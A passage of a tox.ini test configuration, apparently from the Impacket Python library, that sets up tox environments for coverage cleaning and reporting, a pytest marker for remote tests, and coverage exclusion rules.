py{36,37,38,39,310}: clean 21 | report: py{36,37,38,39,310} 22 | 23 | [testenv:clean] 24 | basepython = python3.8 25 | deps = coverage 26 | skip_install = true 27 | commands = 28 | coverage erase 29 | 30 | [testenv:report] 31 | basepython = python3.8 32 | deps = coverage 33 | skip_install = true 34 | commands = 35 | coverage report 36 | coverage html 37 | 38 | [testenv:py310] 39 | ignore_errors = true 40 | 41 | [pytest] 42 | markers = 43 | remote: marks tests as remote 44 | 45 | [coverage:run] 46 | branch = True 47 | source = impacket 48 | omit = *remcom* 49 | *.tox* 50 | 51 | [coverage:report] 52 | # Regexes for lines to exclude from consideration 53 | exclude_lines = 54 | # Have to re-enable the standard pragma 55 | pragma: no cover 56 | 57 | # Don't complain about missing debug-only code: 58 | if self\.debug 59 | 60 | # Don't complain if tests don't hit defensive assertion code: 61 | raise AssertionError 62 | raise NotImplementedError 63 | 64 | # Don't complain if non-runnable code isn't run: 65 | if 0: 66 | if __name__ == .__main__.: 67 | 68 | ignore_errors = True 69 | 70 | [coverage:html] 71 | show_contexts = True 72 | --------------------------------------------------------------------------------